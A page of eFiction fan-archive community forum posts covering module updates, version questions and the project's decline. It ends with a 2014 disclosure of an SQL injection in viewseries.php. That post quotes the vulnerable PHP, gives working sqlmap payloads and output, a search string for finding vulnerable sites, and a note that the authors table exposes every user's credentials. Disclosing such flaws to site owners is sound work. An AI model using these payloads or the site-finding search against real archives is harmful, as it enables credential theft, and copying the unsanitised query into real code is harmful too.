eFiction Software News - eFiction Community Forums

module storyend updated and added option panel

Jimmi — Thu, 09 May 2024 20:45:05 +0000

I updated storyend module and added an option panel.

The reason for this:

the user, who shared this module code with me, had commented series part and I wanted to avoid manual changes in the code for her.

Version 3.5.8 is needed because this version fixed coauthors.

Prepared for testing

https://github.com/e107-eFiction/modules

storyend_module_version1.4.jpg

new module - storybanner

Jimmi — Sat, 06 Apr 2024 15:40:40 +0000

This module adds a banner field for stories and series. Simple one-line text field for the full path to the image.

To use it in the skin:

series

Templates:

- listings.tpl

- seriesblock.tpl

{seriesbanner}

- insert the image with HTML img tag

{seriesbanner_src}

- return only image path

{seriesbanner_title}

- return the title of the series in format for the alt tag

Example:

or
{seriesbanner}

stories

Templates:

- listings.tpl

- storyindex.tpl

{storybanner}

- insert an image with HTML img tag

{storybanner_src}

- return only image path

{storybanner_title}

- return the title of story in format for the alt tag

Example:

or
{storybanner}

Repo:

https://github.com/e107-eFiction/modules

block Featured Authors updated

Jimmi — Thu, 07 Mar 2024 13:22:26 +0000

Outdated block Featured Authors for 3.5.2 updated for version 3.5.6 (and 3.5.5 then)

https://github.com/e107-eFiction/blocks

I don't know if more blocks are missing from the official 3.5.5, but if not, should this be added to 3.5.6 release? Or separate repo is fine?

Thank you @kaleidopy for saving the original code.

PS. In fact, I am posting this to see if there is a difference in forum post visibility.

FeaturedAuthor.jpg

What is the latest current version?

Katarr — Sun, 07 Jan 2024 21:08:32 +0000

Hi! I am a little confused. I read one announcement from Nov 23 saying that 3.5.7 was going to be the next release (with support for PHP 8.1), but no actual release announcement. I also found a post that seemed to indicate that 3.6 is out and running. In either case, what is the latest version available? My hosting company is now charging legacy support fees for old versions of PHP. I'd like to upgrade my current 3.5.5 if possible.

Thanks!

What's up?

Nadia — Thu, 10 Aug 2023 13:16:07 +0000

I'm sad to see that there is hardly anything going on here and that more and more eFiction archives seem to be dissolved or swallowed by AO3.

It seems that not only my husband and I had other priorities than to take care of the new script.

I had hoped that ... I don't know, someone else would get on with a modern eFiction faster and better.

Fortunately, I have my husband's script, which has been in beta for a year. Three archives are already running on it. Not bug-free, of course, but they run. ;)

Sid, I wish you all the best for the future and hope that you will turn things around and help eFiction to shine again.
It's just such a terrible shame to see so many wonderful archives go or merge with the behemoth that is AO3. Where is the individuality of the fandoms? *sigh

Take care
Nadia

Any News on an Update

kaleidopy — Sun, 09 Jul 2023 03:07:22 +0000

I have two large fanfiction archives. I understand there were plans to modernize the code, but that post was made last year. Is there an update announcement? I don't want to abandon efiction. I have been using it from almost the beginning, but time has left 3.5 way behind.

A few things I need to help you

Christy — Mon, 12 Dec 2022 21:07:18 +0000

Hi! I have been reading everyone (including my former webmaster who was a member) since 2007. I have three eFiction sites and they all need work.

So, I found Rebecca, again. (It was my site that she was guinea pigging for the WP conversion years ago.)

I'm going to pay Rebecca to update/upgrade my sites because eFiction is simply the best library system out there and I have freaking looked. I don't want to use something else.

However, in my years of doing this, I have designed my own workarounds for issues. I know you all have, too. The point, though, is to actually fix all the things that are "difficult, clunky, rigid," and don't freaking work - but I don't remember what they were because I found a workaround or just made the thing go away.

PLEASE, please give me a list of the stuff that doesn't work/security risks right out of the box, from earlier versions to what you have now. I will give her the list. I did look through here to start my list but i want to compare now, please.

I have gone through this forum in the hopes of gleaning a wish list as well.

Help, please?

Christy
P.S. I have also, gleefully, taken on sites just to archive the work so if you can't take it anymore....

Any developments?

entallat — Fri, 13 Aug 2021 18:05:26 +0000

I'd like to know if there's any active development (or at least heartfelt plans) on eFiction. There doesn't appear to be any activity here on the forum and it looks like it's gotten some spam posts, but it's also been a crazy year for the world. I'm just trying to make some decisions about the future of an archive and whether to port it to AO3 or hang in there.

Latest available version

bsky92 — Tue, 30 Dec 2014 08:14:49 +0000

Hi everyone

On the download page, the onl version I could find is the 3.5.3.
As I run in troubles installing this version on my new server, I happen to read some table installation problem is solved in version 3.5.4.
But then where is this version ?
The fix I found does not solve anything

Thanks
Brigitte

SQL Injection vulnerability in eFiction

guest14424 — Thu, 13 Nov 2014 00:46:24 +0000

Hello ...

The viewseries.php page in eFiction 3.5.3 is vulnerable to an SQL Injection attack.
The page loads the URL parameter "seriesid":

$seriesid = isset($_GET['seriesid']) ? $_GET['seriesid'] : false;

Then it passes the *tainted* value directly down to the database:

$parents = dbquery("SELECT s.title, s.seriesid FROM ".TABLEPREFIX."fanfiction_inseries as i,
".TABLEPREFIX."fanfiction_series as s WHERE s.seriesid = i.seriesid AND i.subseriesid = '$seriesid'");

This allows an attacker to extract information from the underlying database.

sqlmap identified the following injection points with a total of 396 HTTP(s) requests:
---
Place: GET
Parameter: seriesid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: seriesid=1' AND 9530=9530 AND 'xaMV'='xaMV

Type: error-based
Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause
Payload: seriesid=-1947' OR ROW(2257,7329)>(SELECT COUNT(*),CONCAT(0x716e656e71,(SELECT (CASE WHEN (2257=2257) THEN 1 ELSE 0 END)),0x716c746b71,FLOOR(RAND(0)*2))x FROM (SELECT 7852 UNION SELECT 4197 UNION SELECT 3571 UNION SELECT 7903)a GROUP BY x) AND 'zplx'='zplx

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: seriesid=1' AND SLEEP(5) AND 'hXxL'='hXxL
---
testing MySQL
confirming MySQL
the back-end DBMS is MySQL
fetching banner
retrieving the length of query output
retrieved: 20
retrieved: 5.1.69-community-log
actively fingerprinting MySQL
executing MySQL comment injection fingerprint
web application technology: Apache, PHP 5.2.17
back-end DBMS: active fingerprint: MySQL >= 5.1.12 and < 5.5.0
banner parsing fingerprint: MySQL 5.1.69, logging enabled
banner: '5.1.69-community-log'

Vulnerable sites can be found using Google by executing this search:

inurl:"viewseries.php?seriesid="

The complete list of usernames/passwords can be obtained by dumping the fanfiction_authors table.

Anybody running eFiction 3.5.3 should be advised that their user credentials are available to the public.

... Robert